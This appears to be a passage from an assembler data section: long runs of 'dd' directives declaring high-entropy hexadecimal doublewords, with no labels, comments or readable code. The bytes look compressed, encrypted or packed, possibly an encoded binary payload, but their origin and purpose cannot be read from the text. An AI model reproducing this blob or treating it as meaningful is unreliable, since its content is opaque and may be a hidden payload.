0C5306A52h, 7F989459h, 0FB4C5B0Dh dd 3B20B456h, 242B37B9h, 2E620CDh, 139E7C21h, 0A754FE40h dd 50346B1Dh, 0EF853996h, 70B8B4BBh, 7ADD8B52h, 6C800F41h dd 0F314FBE7h, 564F4733h, 584C6EB3h, 6515E983h, 4ED50B87h dd 8732A185h, 0BD815E02h, 30947089h, 7809ED40h, 0DCC97F53h dd 953507EEh, 0DC82A1Fh, 6AD4DD1Bh, 905E772Bh, 0F9D5E929h dd 0A0F7189Dh, 0B81E9FD1h dd 15E934D3h, 0A7F6E9F0h, 0E9ABAEAAh, 38A24CFDh, 0D450A8B6h dd 25D0B621h, 0D669F2D1h, 7D07E02Ch, 5E902EE0h, 0D09897B2h dd 144D50BDh, 0DC6CF665h, 0B26F029h, 7D42B8E9h, 5BD1605Fh dd 994BAC3h, 45AB39D2h, 0F814F22h, 499B9590h, 0F75132Fh dd 6AA30270h, 388FEB4h, 0DB50697h, 2DD71804h, 0F2A1D94Bh dd 0A4144F47h, 0ED034A14h, 764B5E24h, 1B9DCDB0h, 0C118836Eh dd 0CC47858h, 4ADC30h, 293F8DDCh, 0E95B5DEEh, 54DDD82Fh dd 25BFE0F7h, 5C010361h, 2E3FCF81h, 0A3304FFEh, 77012F7Dh dd 9A41D878h, 5F7BB67Ah, 5A8C47B0h, 50235A44h, 7F8E52C0h dd 0BF67C100h, 66E96EA1h, 0CFD8B531h, 23A4ED24h, 7EE6094Bh dd 518EA7C2h, 586F1EE3h, 2EE2F0E9h, 5FD64D44h, 8907DCEAh dd 3CECDBBFh, 2DE5CA25h, 0D7E6B1AFh, 0F0265088h, 519BB02h dd 0C92B57C9h, 0FFA028F0h, 7F02F4Dh, 1971F89Dh, 7E173836h dd 29038CFFh, 5875A6C6h, 0D08366B5h, 6017D488h, 0D9A36C0Bh dd 807B04Ah, 0EC563C40h, 25369C0Eh, 20B1D9E5h, 0E419D17Eh dd 0B88067CAh, 0BB5F17C8h, 0B0021478h, 0A358845Eh, 65681769h dd 0AF1D34FBh, 0D1F9C383h, 0EC3F77B8h, 4E6117DAh, 0CF023FA3h dd 66566DDBh, 0FDFF2960h, 3106F673h, 0F244E9F7h, 0D658B5F8h dd 0BF58B720h, 6CB04B50h, 0E9CA205Ah, 0E316A558h, 2F6F9DF0h dd 0BB96D9E8h, 6C526909h, 0E907C2E0h, 795FE5DFh, 1989C8D3h dd 0DDC645DFh, 46717558h, 153AC096h, 1F1CA43Ch, 0D0A6DE14h dd 0D71B18DBh, 72885156h, 0FBEC48F5h, 68059720h, 72926219h dd 97411DB8h, 85C20A40h, 20629A05h, 8B902F75h, 0CBA69124h dd 5ACC3FBEh, 0DED6F9D2h, 877D2D5Ah, 0ED342805h, 66EC0181h dd 0EDFE941h, 23020B32h, 21BE68A5h, 0C004EFE3h, 62E046E1h dd 4C0792h, 48576858h, 0EFA280A8h, 0BC13F1B7h, 3080B697h dd 6F916840h, 627230B7h, 0A6614B03h, 0C2E909D4h, 4F1857F7h dd 5EBEAC99h, 0FEBAFD4Bh, 0B56A9677h, 61DAB6DCh, 0D82E175Eh dd 6AFFA8A2h, 0BAD318F3h, 60562B62h, 0CFE16E7Fh, 38AC68A4h dd 0B94B5557h, 30346941h, 0F04172E2h, 0E005D6BFh, 480C98BBh dd 485F7484h, 0D235D064h, 20229212h, 955E165Ch, 0C951D48h dd 62D23AC0h, 15A4B5CBh, 0C04AECE0h, 9C79BD05h, 0C5E9100Fh dd 0B0944077h, 65C34C17h, 0A021DC0Bh, 2A98B913h, 0BA544BD2h dd 0DAA88F25h, 1E2C8A0Bh, 9FAFE88Fh, 0C22BA26h, 432F277Ah dd 39AC5C16h, 7EFB5h, 0DEB5F745h, 35B67C83h, 0D5EEE904h dd 1288718Dh, 3014E6C0h, 6323681h, 9740FC0Dh, 373C989h dd 0AB808h, 5287C2Dh, 20D6C179h, 357B31BBh, 56C0046Bh dd 16577B90h, 10C12924h, 13F080Ah, 0F5F01E65h, 0E888E0EFh dd 74FE0ED6h, 4AC9CA2Bh, 0E98272B2h, 795D9BAEh, 20B201AEh dd 0C09EEC80h, 533B66D4h, 0C43879B7h, 1CFC378Eh, 5F5B8D5Fh dd 4A84C820h, 1A52E3AEh, 0DE54D993h, 0D097B38h, 0D2657AE9h dd 161D0FB8h, 0C6641E58h, 0CA2F90A6h, 13244776h, 0CC122725h dd 0EC4352A0h, 0F5CB4B62h, 2227F459h, 0FF28180h, 14D56DCAh dd 0EE5B4365h, 4DD10B79h, 0CDEE8000h, 5AF33000h, 0B4505266h dd 0E6882F3Dh, 6C978155h, 0E901CE20h, 0BAF264DAh, 277D0939h dd 27CBF457h, 3E024974h, 0DDA628A3h, 0DF89560Fh, 44F06C00h dd 215F465Bh, 0BEF707AEh, 0EAB41C40h, 554170Bh, 9EA87F7Dh dd 0E65F1708h, 0FAA01052h, 0DC0FE12h, 0F5E1D98Ch, 0B093A17h dd 3A5AD087h, 0F8CEF708h, 14AB97F7h, 0CEC43558h, 0C1D8A8E2h dd 670FE74Ah, 9843A16Ah, 7CEC5F88h, 865697CEh, 940985EFh dd 6CDA66AFh, 322C91C7h, 84B13A74h, 9D3B62Bh, 0D202C683h dd 0AF82DCBh, 190CB365h, 0BFF39DD6h, 0CE092270h, 1290379h dd 0BC3EF084h, 4BE51420h, 0D463B3D5h, 3D9E725Ch, 0D3F7143Bh dd 7DE90B07h, 0D7460Ah, 17110477h, 0A4F3814Bh, 8264950Bh dd 2B02FD31h, 305559CEh, 9DF56212h, 31F62E2Bh, 0D3D24B58h dd 0E43FE085h, 4730956Ah, 4582F025h, 86DE41F9h, 0B9763FB8h dd 334907F4h, 7952458Bh, 300B0E58h, 1C3C7077h, 41BA2D7h dd 0CCD05210h, 14C756E7h, 62D5829h, 415F5A16h, 0F90A30E0h dd 7DD22F27h, 5845D5F5h, 28088E26h, 0A05C16ECh, 0C159DB50h dd 4BF31614h, 0B69536BAh, 732FA813h, 58B0CF04h, 0A26ABA07h dd 0DCE12023h, 0E0126861h, 9F36EB80h, 6B9992Eh, 25E93F5Ah dd 0A4A53F8Ah, 26D4030Dh, 24D91237h, 4C3F33D7h, 0A8955002h dd 2D21C182h, 0BEAC3792h, 0E983868Ah, 1363DA3Eh, 260CEB8Eh dd 0E5A7D006h, 7928C266h, 0B5C120D7h, 95F3E916h, 96DE5C89h dd 56E66804h, 2D2FB498h, 9B70467Fh, 0DD7E9D0Ah, 0D42DDE08h dd 67A3A8DCh, 0C15EAE99h, 0EC19DCE6h, 0DE58F723h, 0FD0D2010h dd 9666B36Ah, 0AA84D9E8h, 114A994h, 0C73057B7h, 0F6CCFE58h dd 0D8077D7h, 8B59E955h, 10267C38h, 5001239h, 3428AE2Ah dd 5831C331h, 37617C89h, 0CA826557h, 0B81CC4A0h, 0BF1498C2h dd 0ABFEE578h, 0C59762B5h, 827BA53Ch, 7FA64309h, 0F72D5E4Ch dd 2D69EC5Eh, 0AF1AD293h, 966BD4C1h, 0E5C2C2h, 4A56B96Fh dd 815F3DAEh, 0E946CC26h, 789DDEFDh, 96E19557h, 0B1F4562Fh dd 87350049h, 1E075221h, 165AC1B8h, 13B2F81Ch, 0BC25704Dh dd 0D66066F9h, 0D300B63h, 8918BD3Dh, 84016810h, 409769C2h dd 0E7F07CEh, 7143BF80h, 0B84F4C78h, 4634E909h, 0B23EBE14h dd 0DB60A62Bh, 82E1288Bh, 3D456BDh, 0BBFAEE29h, 0AAC0B3A4h dd 0C26A860Bh, 64F17703h, 25E04888h, 0D0AF4861h, 70B50956h dd 0E1811C7Ch, 3F85099Fh, 33FF825Dh, 8E560979h, 80788950h dd 0DEC4F380h, 0BDBC7269h, 1DE150C4h, 0B7DC133Bh, 0B386A0BCh dd 0B3E368Eh, 8CCADB08h, 99092A58h, 3FF8BFE9h, 242D6813h dd 45CB32E8h, 0C85DC40Bh, 7E095CE5h, 0BFDBB577h, 0A4C67417h dd 796ABFE8h, 0DCC06275h, 50BEC07Dh, 3C094D36h, 64536368h dd 14F725E5h, 0C151BA25h, 3E94A490h, 90D3D6A3h, 84E5819Ah dd 76DA5018h, 3E5F0E5Eh, 1F5854B6h, 7CC16109h, 0D8FDE122h dd 0E4F5D1A0h, 775A207Dh, 3ED4B0E9h, 0ED652103h, 8198D15Bh dd 5419E5CDh, 0D2E4727Ah, 16078A3Ah, 0FD89F3F9h, 9ACA63Fh dd 2BD2E9DAh, 710C7424h, 10AB71E9h, 3053C2C5h, 3BB0D54Fh dd 0E8282F9Dh, 39087C47h, 56E280C5h, 686B4B77h, 14230E26h dd 0E5526AC5h, 1FA12FEh, 5631EF76h, 809A7113h, 0AC7F0810h dd 491A6824h, 1B82F442h, 0C3839F0Dh, 0F75036FDh, 6362172Fh dd 0F859CB29h, 0B8EB050Ch, 0EF47F605h, 0C12E4BE5h, 3A5E4271h dd 1080B127h, 50582E49h, 55B0605h, 0A332D235h, 409E087Dh dd 42170A7h, 1267B23h, 4D01E2FBh, 65DA04B1h, 6103662h dd 93FEE85Eh, 0A9C8580Ch, 0C79FA0CFh, 5B551D4Ah, 0F2EF8133h dd 3A6D4068h, 79E8DCB4h, 0B1675A39h, 508F177Fh, 78E58893h dd 0E607E910h, 3253BB03h, 0C1A40CADh, 2ECDBF5Ah, 0EA9285A9h dd 9F1069CBh, 5F196991h, 0D4AC4540h, 1016C49Dh, 512BE168h dd 0AD85147Eh, 227684ECh, 6AA76807h, 0BB6AF6h, 32816DC5h dd 92123DBDh, 0C044CD7Eh, 36F1CCE9h, 531E7D63h, 0E64A7DFEh dd 4721824Ch, 0BA65DE1Ch, 0A312A5A7h, 72E459FFh, 548C8D5Ch dd 97C1745Dh, 5650CE94h, 6E2FC6C0h, 5C04DFFCh, 2C78F060h dd 34BA6C4Ah, 0BC8C0C7Bh, 576F5F8Ah, 0A3D54A69h, 0BEF7ECB1h dd 0A45BE42Dh, 659F5FA1h dd 0F8AC97C6h, 79A94B34h, 0B2140B9Fh, 7539C620h, 589D4F2Fh dd 860782F9h, 7A65C9F9h, 7C5E12E2h, 3CA70E22h, 0C0423525h dd 91296D92h, 8CF87D4Bh, 30726E1Dh, 3238E124h, 0CA016F13h dd 61082410h, 867C9D1Ch, 0E9FA3A83h, 0EA85E3B4h, 0DE0117D9h dd 0C86B77D6h, 681F8318h, 0A7151794h, 8F2778F3h, 568E9003h dd 24C7F450h, 0B3A4140h, 1E1A1536h, 68CC020h, 0BAC05D97h dd 74C45D5h, 31E22AE9h, 0FB215ED9h, 74225601h, 0CEE54FF6h dd 0EDE7092Eh, 0E4637E56h, 259F7E78h, 10D7C88Ah, 0B5B230DCh dd 3CB4371h, 3531128h, 2656680Dh, 92032A5Eh, 574D3FCDh dd 9CE9995Bh, 5825ED68h, 0FF191257h, 67E9AF10h, 0D614936Bh dd 0FB84CF7Eh, 9082F9AEh, 9AB725A6h, 0A5E5FF01h, 13A0680Eh dd 0C6E1BDECh, 69E63A58h, 0E292A752h, 5F260409h, 0FE942CB4h dd 0CE0B3595h, 12409405h, 0FE57B768h, 663B7169h, 0F69FBDF0h dd 0BB78E7ADh, 252D079h, 0FFB4EC8Dh, 232D92ECh, 12ED7B44h dd 0A42FBD39h, 0EBA23FB8h, 15F43D8h, 2FAEDA12h, 92E90945h dd 0A6DCF929h, 717C02C9h, 0A5F239D8h, 16369606h, 17110128h dd 0B74C6DE9h, 21E94F08h, 5ABB4C98h, 0AA86403h, 3A5CEE9h dd 76F5C387h, 0F3B06E77h, 4425493Ch, 7FA66240h, 588400FBh dd 1B9257E9h, 0C30DC3C0h, 44D8EC4h, 0F10AC7EAh, 8D94EB7Eh dd 7BE90802h, 0E5145EE4h, 0E64DC129h, 0EFA207A4h, 9526CC02h dd 0F03DC3F9h, 28FAD35Fh, 0A27CE926h, 0E1C10AC2h, 45AC8003h dd 9C4A055Bh, 0F1873CA5h, 0CB016AC2h, 2BC3B20Eh, 1F4D4FA8h dd 6CAB5B3Eh, 0E916CF91h, 230BC35h, 13446CBAh, 16091862h dd 68B2020Eh, 0F0712116h, 137DBF82h, 0C012E019h, 0B0265A1Bh dd 1014C2CDh, 4BDD6C88h, 55052109h, 692F2267h, 452D10C2h dd 0F18FCA27h, 7A15624Dh, 4EB8F0E0h, 84015093h, 0E87BA858h dd 0BDE9B7FAh, 4AEFEFC3h, 70C1429Dh, 0D8BE5600h, 9DC3E66Eh dd 6A18F8D2h, 0F742DD22h, 34F9BFFCh, 2F695B6Bh, 87094956h dd 514519E3h, 217C59E5h, 66585B0Ah, 5C0266FFh, 461FA42Fh dd 80A0B536h, 52B51D23h, 0DF52D994h, 0FC73CE91h, 5512B52Bh dd 12ABDD89h, 0A637A8A1h, 47292407h, 0A98AC262h, 38C817C8h dd 5200DAA6h, 0EE8083B6h, 95FBB3CBh, 0D1A43782h, 27ECD25Fh dd 0CE590568h, 0CD47569Eh, 82CA1428h, 33BE3009h, 54E39AE2h dd 0AF0545B4h, 94FD7CD5h, 9DD9E9C2h, 33F8A1FFh, 57CE9C2Fh dd 1AFDCFE2h, 0D20D5C7h, 4A0E726Ch, 5A9DE913h, 0DBACFA53h dd 0E4F50869h, 0BFF198EEh, 564499D9h, 2F7AD8CBh, 0FE1614F7h dd 1CB79892h, 183727AEh, 684AF9Ch, 57D23102h, 0F18D20E9h dd 3F3903E2h, 4AE1705Fh, 0BBF1551Ah, 5514B780h, 29137DDFh dd 25FE19D1h, 2CF625DAh, 0A8FDA74Ah, 4F74CADEh, 0B4F2416h dd 765C658h, 0AD1CFF2Fh, 15BAE91Ah, 80164331h, 0B83F521Dh dd 6EB36307h, 91BAF031h, 305AC5D0h, 0EC8952EFh, 291660DEh dd 595868C1h, 0EF819C5Ah, 304E2E0Fh, 660093EAh, 0F5811586h dd 6148682Bh, 34DBC86Ah, 60A2470Ah, 51621898h, 0C1250D90h dd 0DD337DCCh, 0DE546CDAh, 2FCBF00h, 0B814446h, 1F428FC7h dd 0CE1F2D74h, 0C15DA2A0h, 9950DB32h, 3B3E86E1h, 0C904065Ah dd 0FF0963D7h, 7BC763C0h, 0E92B1275h, 0BD448050h, 6BF829D0h dd 17538398h, 935D3CA0h, 1FA958DAh, 9DD6141Ah, 7C569202h dd 692586E4h, 487FDC0Dh, 433EBBCEh, 0D909FFAFh, 2171C35Eh dd 5B92B62Eh, 315D28EBh, 2C0EE5BEh, 82F809FDh, 2051C2Ch dd 7E1F929h, 4ACB6866h, 0E9A112ADh, 58B891Eh, 1B6800AFh dd 3953832Dh, 50800D37h, 2259A868h, 8927E97Bh, 72BB76C4h dd 15B5667Dh, 0B994BDE9h, 43D4C302h, 8CF52CE0h, 161C126Bh dd 1074017h, 91298510h, 3EF52E0Ch, 801C0806h, 0ED875D14h dd 51109D2Bh, 3A8F213Eh, 0B3BECC74h, 0F2EBC461h, 0D688EF16h dd 2A627D6Ch, 27E8ABDCh, 0B16EF989h, 394EE9F2h, 0D82A9EB1h dd 424A5EA2h, 1323DFA4h, 39212D4Bh, 0E9F10023h, 5E810642h dd 9447C77Bh, 2BDE91Bh, 484A84F5h, 123D56Bh, 0BE85C18Ah dd 0A93BEAD9h, 8A711008h, 0C5FE0527h, 1D805F9Dh, 102702Bh dd 72D51E8h, 0DCEA7FF2h, 51817C71h, 0FA1A93B9h, 9D98E9C8h dd 0C3C02E0Bh, 417BCE80h, 4F95EC7Eh, 0A07D2FB8h, 3D7FF3E2h dd 315E1C4Dh, 0CCDCEDF2h, 9F2394EBh, 19C1741h, 96A5D58h dd 4CDC0D19h, 37A00572h, 0F1E1E4BCh, 0A5EE0573h, 6BBBF920h dd 0BD518DDCh, 0E9D0EDD6h, 0C0F2AA33h, 3D53D4EAh, 0DE92B370h dd 0D0CB40CBh, 0A12D405Ah, 6E1B3618h, 2D7BBC84h, 0E5726711h dd 0B8610882h, 53CB34ABh, 0B3B9B32Ch, 0E6C0F203h, 4D2EF103h dd 0C36E232Eh, 0AFCF3FC9h, 4A6FF012h, 353E80C8h, 0AA25C165h dd 8E90E058h, 0D95981BBh, 45D5E6F0h, 4F90BE49h, 0ACB01C23h dd 73E9C614h, 0F088EA12h, 4DFFAFE4h, 0A05AEEB8h, 9C940555h dd 0A0BFE4C0h, 0FCFA956Fh, 3D31EF00h, 75E94553h, 93F928Ch dd 3E733FB8h, 0FAA4FF8Dh, 224FC0DFh, 56F42F67h, 0FF1AEB7Eh dd 35A0F503h, 0E4309FCAh, 0E9F82C5Bh, 499E100Bh, 0B609BA7Eh dd 463D74B5h, 0C5084E55h, 60AD7Dh, 3A6C2FC2h, 3CECE946h dd 60E64A97h, 0E15449B3h, 0D2E9F96Fh, 81FD6FF1h, 3DD18105h dd 6059022Dh, 0B288CAE2h, 0AED35E19h, 59B0BF30h, 48567D2Eh dd 84517D8h, 6418FE64h, 0F4C56541h, 964B509Dh, 0C6C0F9ADh dd 5229132Fh, 0BF08297h, 8B6800A5h, 785A7663h, 8335ECCFh dd 4A27BA0Ch, 83ABD745h, 0B43BF880h, 0A62F1054h, 0CEE8916h dd 0CE5DB9E7h, 5B5FBF9Ah, 40FE5CB0h, 0F439804Dh, 3C39CABh dd 0EB1DE31Eh, 992D6068h, 469475BAh, 258B3AA1h, 56EC2A6Ah dd 9A2AE9E0h, 9D644EBDh, 0C9F2374Ch, 0C3172295h, 64D9A9CAh dd 5718DDE8h, 476F92B4h, 0BE0289DCh, 825E300Bh, 658EFBBCh dd 0F9FC2DFDh, 81C5FC50h, 2E7B2254h, 888B503Dh, 0FAA784DDh dd 40B8EB40h, 0F5A1ED64h, 0C6EA965Bh, 0A8A63AE8h, 8E946FFCh dd 0BE9CBD0Ah, 978C221Eh, 5BF2295h, 9837141h, 0D3D9B801h dd 19D5C906h, 0BB839D7h, 0E244A698h, 89C0CB97h, 0DFE636F6h dd 0BCFCBDFEh, 6EAFC707h, 7AEA5519h, 5A59080Ch, 0DA08505Bh dd 18BA023Dh, 50685173h, 56702015h, 28E74B5h, 9677AA5h dd 87C0CB43h, 0A4902D53h, 7C76A757h, 31AE935Bh, 4A2BBAA4h dd 86AC5AEEh, 0F23168ECh, 0D94D5D03h, 0F7F00105h, 6075023Bh dd 0AAB22409h, 5D4E0AB0h, 39890DBDh, 0FD259776h, 8EBC711Ch dd 0DB86E289h, 4C10A7D4h, 629F9DE9h, 86F95552h, 99A57C69h dd 3B5C277Bh, 56E9F91h, 736D6800h, 0C6B919B5h, 0F0F12F60h dd 4A9490CAh, 7E1AF1E4h, 8B40BF2Ah, 8C614E0Ah, 53735914h dd 0F0B37695h, 624AE95Ch, 2558BF00h, 7BDE17A9h, 0D5014E4Fh dd 1A03E479h, 3AED5B13h, 11B9BE00h, 9425FAFh, 94E9EAD1h dd 0B33BC2D8h, 9805930Ah, 6C04FEB9h, 2BBD44h, 7F103ED4h dd 45E824E9h, 19FFAFA2h, 0C7E553DAh, 986EFEEDh, 2D20E931h dd 0CB803F94h, 60850667h, 0DA305DF3h, 0A422696h, 0FC98DD41h dd 0FF719698h, 0A2605CB6h, 0F4157E71h, 695A78D6h, 95711A6h dd 0E9E10284h, 48295D12h, 97CE1E55h, 0DE8C11F9h, 39EC9F77h dd 13196668h, 22474673h, 0F2218737h, 0ABB040D2h, 459A0E4Ch dd 33825AF7h, 209A4E6Dh, 8932B403h, 0F0A420C2h, 0D37C9FE3h dd 100AB80Eh, 0D95E1AC9h dd 78EE5B12h, 0BD27E9E3h, 0CFBDD49Fh, 7CA0C54Bh, 6E6C2B2Dh dd 0B327677Ah, 75B120CFh, 50603056h, 12F4F04Fh, 12FA24Dh dd 0E0F912Eh, 65817ABCh, 55002269h, 371762BDh, 15072FD9h dd 0FBC15Dh, 0A933F1E2h, 5089F692h, 9B7D77CDh, 5C5C14CCh dd 0FA736884h, 3D086535h, 9BB00E7Dh, 0BFE3E4h, 0C868575Eh dd 614DB426h, 0DAF63F87h, 25A9A440h, 13BB554Ch, 74FF2F11h dd 0F9298035h, 7C2EED51h, 614E3A5Ah, 0CD9A11BDh, 9097B36Eh dd 0BD43048Fh, 64C0AE5Eh, 5B554B6Fh, 4410AA3Fh, 10E44808h dd 0D8489472h, 1223E301h, 0F5F08957h, 0FD852A53h, 9DBB3C52h dd 0FACD7FC9h, 0AF64126Ah, 5F4952F2h, 3B3BC10h, 0B652E328h dd 5FF3AA71h, 4AFA5C1h, 0D78442C7h, 807A8DF5h, 2B1D2394h dd 0A3002FB2h, 2D21557Ah, 16ABAFC3h, 13C53172h, 1F37FA9Ch dd 5BB8CB8Fh, 8378A746h, 39C3584Bh, 0F47AF268h, 6F3AC211h dd 2D0264F7h, 0FC7B8A83h, 4E20B9Dh, 10E44EC7h, 0C10BEB84h dd 16A48050h, 1765710Ah, 0B84FACE9h, 57DACFC4h, 0A44152A3h dd 4A2CB6Ah, 79C50EDBh, 80B416FAh, 67143472h, 89F3813Ch dd 0C3704810h, 7D30CFBBh, 2713764Ah, 9E0095E9h, 0F38821B6h dd 6A6268F2h, 0E483C5B9h, 8BBA6AABh, 0EB420239h, 60DCB6F2h dd 0C5AB7425h, 0CB12AC02h, 0BA4960F8h, 0D66C3DAAh, 0B992AFCAh dd 0CE0F4ABDh, 0A3DA3099h, 3773C269h, 881ECC05h, 25815A3Ah dd 3D75A8F4h, 9F0FE43Eh, 0FE81A140h, 0F9460614h, 0A8D12922h dd 15A0880h, 0B760CF5Ah, 411EE947h, 4FA87F8Bh, 0C0A00CF6h dd 34126929h, 18EE5F0Eh, 0FA890F95h, 143AE912h, 49A2FAA8h dd 54B1DE58h, 0C7263001h, 0B42C5A51h, 534E7DDFh, 9CA1296h dd 0D47CF82Ah, 0E4EA5865h, 826BFD76h, 20C86E1Ah, 0AC76183Dh dd 0D1B1F927h, 88B266Eh, 0AE36A743h, 2DEE04C0h, 0BB0D1D31h dd 8177DD4h, 0E1650C4Bh, 606F4888h, 66E26A26h, 2CEA105Fh dd 5E5A50A8h, 0E4E59CE3h, 270BD368h, 5E0144F9h, 40CC84Fh dd 0AFEBFAE9h, 28C4B9A2h, 5DA2BEDAh, 2E762D93h, 9C0A5B61h dd 17A4A22Fh, 1AB680C5h, 0BF7DE950h, 7BB2B419h, 455D5A80h dd 0C89927E9h, 0AE34E348h, 0D12C57CAh, 5F176885h, 5CBE2940h dd 1F551C67h, 0D2D194BBh, 12CEF813h, 0D2CDB6h, 1ED15E93h dd 885282FEh, 24E066EEh, 0D778F6F7h, 2E5BE1F9h, 41BFABB0h dd 0E243E294h, 488C8ABDh, 0B8DF5445h, 3462C000h, 1090558h dd 9E70B548h, 4A88A140h, 5ED0FCC3h, 5559440Bh, 8472A82h dd 3040B300h, 25FB9FD3h, 542F772Ch, 63582C53h, 0AB85431Eh dd 899F41F2h, 197706C9h, 0A62B5343h, 0E9A3418Dh, 7D892B6Ch dd 8973602Fh, 0CCB55AD1h, 0B0BC2F95h, 5C093046h, 121B094Bh dd 9839441Fh, 97607B52h, 48687618h, 58A133E7h, 12AA00A6h dd 0E9421B95h, 0D5899588h, 1148655Dh, 5536352Ch, 0FDEB3C0Bh dd 7E0CD72Dh, 2DE9E3F4h, 3D54A57Eh, 89D0E5C5h, 12C79BDh dd 9BBB75B4h, 288AD943h, 93F85BF3h, 53E9D11Ch, 2C4CC032h dd 0C81A8641h, 0B08C9FEh, 316422D0h, 0E244E0EAh, 4AA8F603h dd 1904154h, 6177683Dh, 42C3E135h, 0A0E55F08h, 0A7C8FCA5h dd 8056E95Ch, 8A4FCF9Fh, 6FEEFAC9h, 872CB842h, 0A429E559h dd 809D09DFh, 7E970744h, 0BA5208D7h, 0FB2B75CBh, 0A975340Bh dd 2067D807h, 0D9B598ECh, 2D7BAC65h, 0ADF35D68h, 63EB2212h dd 327E0DECh, 523297FEh, 4770FF40h, 9833C50h, 58FF1553h dd 42110444h, 0AAAD2F9Fh, 0D7885D27h, 9B200Ch, 0BC788EE2h dd 1A80E97Ch, 90F31EBDh, 3B4212EBh, 0EFA70F4Bh, 1308A8DCh dd 0E2F948E9h, 1B680950h, 0C03EBA5Ah, 0E302E340h, 4D861920h dd 0F0007574h, 0CB3535Ah, 0D8F0AD2Ch, 5B700474h, 0DDF7D075h dd 4B4CBE35h, 0B600F4A3h, 8DE6808Ah, 2E6233E9h, 5CCE094Ch dd 32BB8876h, 0F6272C9Eh, 0E6D1F001h, 0BE42BDh, 75FBB0DBh dd 0B5B39897h, 0E916DCDAh, 0E1219C17h, 13FF32BFh, 0A4520FF6h dd 1509ED7Fh, 436F8D0Eh, 2B4000A3h, 16C4827h, 62768CEh dd 20F0C629h, 53762FC3h, 0DAB4F32Fh, 8D4FA0FCh, 79452C3Eh dd 0E5021F85h, 0FC4E167Dh, 317AF554h, 4632F85h, 5DEC89C0h dd 0F8034A1Bh, 85615A84h, 1328CAD8h, 9C8BE93h, 2E7F4135h dd 5880C1C7h, 0BD2E9869h, 0F104CC72h, 221CDE2Ah, 51DC8BBBh dd 7355C24Bh, 7B97BEA6h, 0C4F6D0D0h, 0EDE53E61h, 18823B2Ah dd 32E77766h, 0CB387DA7h, 439D665Ch, 6850E715h, 0F7E93E72h dd 0BB7D006Ah, 35D7562Eh, 5BD82116h, 4DB242FFh, 0FD4892BFh dd 7F5E740Bh, 8CD10FBh, 4046B640h, 11E2BAD7h, 9655016h dd 6C41414h, 735B0A9Dh, 0E883C34h, 0E4B0518h, 8EE4B230h dd 0ECDF2928h, 0F1EE7F9Ah, 0F1DFBEFh, 0C6A7A768h, 0C30F2FE5h dd 0D1999857h, 629F964Eh, 50001D4h, 1DEA5E1Fh, 64113575h dd 32412F86h, 0FE8901BDh, 0C4A1C1CAh, 0B559FF74h, 1E83E1C3h dd 0F97020E3h, 562EF06Bh, 84C90C90h, 0AE0FB95Eh, 461E0E3Bh dd 9853908Eh, 0B4F97BE4h, 66ED401Bh, 296F167Fh, 0A2C4A0Eh dd 59D56884h, 9BA6F8Ch, 19D755B7h, 0D842E3A9h, 0A4E36E10h dd 5AD511C5h, 0DB07888h, 14CA330h, 12712111h, 0B3507C0Ah dd 0A693D530h, 97D468ADh, 6EBE2E6Ch, 411E97BEh, 52C75760h dd 0E07BE33Fh, 899055F7h, 5C7CDB74h, 4DD09FA3h, 0C25A1AE9h dd 0EB307BC9h, 969CF650h, 0DBF18115h, 0ED0C2E74h, 0F7B864AAh dd 2A2DD800h, 514D6311h, 61993BB9h, 0E1813800h, 3E2E6BAFh dd 76EC176h, 0AF7FEE42h, 6E5AF846h, 0AC734E8Eh, 278258CEh dd 68E3C8F6h, 0CC614B8Dh, 5120EBEh, 48002BCCh, 40065FD0h dd 0C67EB557h, 0ACC1CFBCh, 5803A524h, 0FAECA9F2h, 9E2D547Fh dd 0C2AD1338h, 50FD803h, 652C2A35h, 0CDCEAE23h, 9DA5E909h dd 8BF5E7FDh, 8A447D17h, 6B4E3FF0h, 8C9F10B3h, 0EA9734A4h dd 0D92C8B2Fh, 6DD169E7h, 4ADAF761h, 0ADF802Fh, 95C7405h dd 7FD04FDAh, 488E1910h, 0A35A756h, 3639457Fh, 0B94F409Dh dd 62DAF1B6h, 59CA291Ch, 0F12DD1D6h, 49B7443Eh, 4814BDh dd 20E32483h, 7FF7EFD1h, 9395FD7h, 0FDC4BE3Ch, 68135EFAh dd 0D2AD5540h, 8F87E9A0h, 0E202F192h, 89267809h, 0F7BD96C1h dd 1BD0F20h, 25F609DFh, 3ED207E9h, 68512760h, 11641663h dd 0C9DE003Dh, 36082E7Ah, 23C5494Eh, 73CC7901h, 8882F8CBh dd 0A7E5EDDh, 46885562h, 1963D08h, 436309CAh, 358ECFB2h dd 527187D3h, 3C7D0EB6h, 2711BA19h, 6A733C8Bh, 8B5A0F4Ah dd 0EF6001BBh, 0BBDCE839h, 60AA3970h, 0CAC1E909h, 114226CCh dd 17BD710h, 4FA4E581h, 15204D30h, 4E150B6Eh, 70B481Ah dd 40BDA5D5h, 0C04C19FCh, 3AD52F18h, 0B85FEB80h, 8AEE3235h dd 9361D05Dh, 7C57D809h, 0F9555932h, 3CDD7D60h, 651B1E8Bh dd 57354289h, 1F400A12h, 134B63A7h, 2C23B0B0h, 25713C0Fh dd 7DBA0B5Dh, 8E2C56E5h, 0D9E9093Bh, 83EED5B0h, 1AB6BD22h dd 4C66E2EDh, 0C5517B78h, 48993E08h, 0E21702F1h, 0C475620Ch dd 65F6F06Ch, 0FE584EB7h, 17CF23E0h, 0FE444D38h, 82BFBD00h dd 92AD0E33h, 2F8C9E83h, 0AB813DD6h, 5B67C922h, 0A57AB771h dd 0C5817EA7h, 5AA4EC59h, 0EA784CEh, 0CEA2C0E4h, 36264B9Ch dd 32010935h, 4E58102Ch, 69C95082h, 88C01E27h, 14B5733Ah dd 2C68FA13h, 0CB13206Ch, 0C1F08D04h, 1CEF7EDh, 0DBC426BAh dd 9749B221h, 3EFD1EF2h dd 3D9E31ACh, 0FFAB9092h, 178B488h, 2D02926Fh, 2B834B77h dd 0BAD94C0h, 0E97F5EB0h, 5808401Bh, 0FCDEB790h, 159C53C7h dd 734B10E7h, 27688E0Ch, 50F13252h, 0E8DB5443h, 0B7D07D28h dd 9DD696BDh, 0B4D34A54h, 5AA5D3C2h, 0D990939h, 7F80C5Bh dd 0DCBDA084h, 7A27704Ch, 1E63FE82h, 0CD8D4C4Eh, 420FC64Dh dd 92372B10h, 159380FFh, 0BFDE2Dh, 902FDC0h, 0B140B775h dd 0F7058147h, 2645549Bh, 887303FFh, 0CBE6E34h, 0F4C27C01h dd 0BDCAE9FDh, 0B05B63Dh, 0F1175F58h, 9DC97FC2h, 970E1F62h dd 457F45Ch, 0C979D16Fh, 5862C14h, 3239136Ch, 204BDDEFh dd 0C06F87F0h, 0D6A76D66h, 5C8F2A64h, 6609E47h, 23801BF5h dd 